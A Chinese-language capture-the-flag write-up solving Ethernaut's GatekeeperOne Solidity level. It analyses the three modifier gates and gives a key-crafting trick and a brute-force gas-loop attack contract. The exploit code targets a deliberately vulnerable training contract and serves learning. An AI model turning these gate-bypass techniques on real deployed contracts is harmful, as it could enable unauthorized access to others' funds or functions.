# Ethernaut CTF Level 13 - GatekeeperOne ## 題目 跨越守衛的守衛並且註冊成為參賽者吧。 可能會有用的資訊 回憶一下你在 Telephone 和 Token 關卡學到了什麼 可以去翻翻 Solidity 文件,更深入的了解一下 `gasleft()` 函式的資訊 ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft() % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } ``` <br> ## 分析 此題難度開始增加,從modifier可以看到有三個關卡要通過 ### gateOne `require(msg.sender != tx.origin);` 相對簡單,只要寫個合約,用Metamask呼叫即可達成條件 ### gateTwo `require(gasleft() % 8191 == 0);` 在呼叫這個modifier的時候,所剩的gas需要能被8191整除 這邊我的對應方式是用暴力破解 我們可以用forloop去觀看循環到踏入`gateThree()`的時候的fail revert ![image](https://hackmd.io/_uploads/rkrLJ1JDT.png) ### gateThree 簡化一下code,一個 uint64 (byte8) 的 key要滿足以下三個條件 ```solidity= uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)) uint32(uint64(_gateKey)) != uint64(_gateKey) uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)) ``` 以我的錢包末四碼是0939 可以構造一個 key `0xFFFFFFFF00000939`來達成 - 0x00000939 == 0x0939 - 0x00000939 != 0xFFFFFFFF00000939 - 0x00000939 == 0x0939 (末四碼) <br> ## 攻擊 綜觀上述思路,可以寫個簡單的合約如下 ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Hack{ function attack_() public { bytes8 key = 0xFFFFFFFF00000939; for (uint256 i = 250; i < 500; i++) { (bool result,) = address(<INSTANCE>).call{gas:i + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key)); if (result) { break; } } } } ```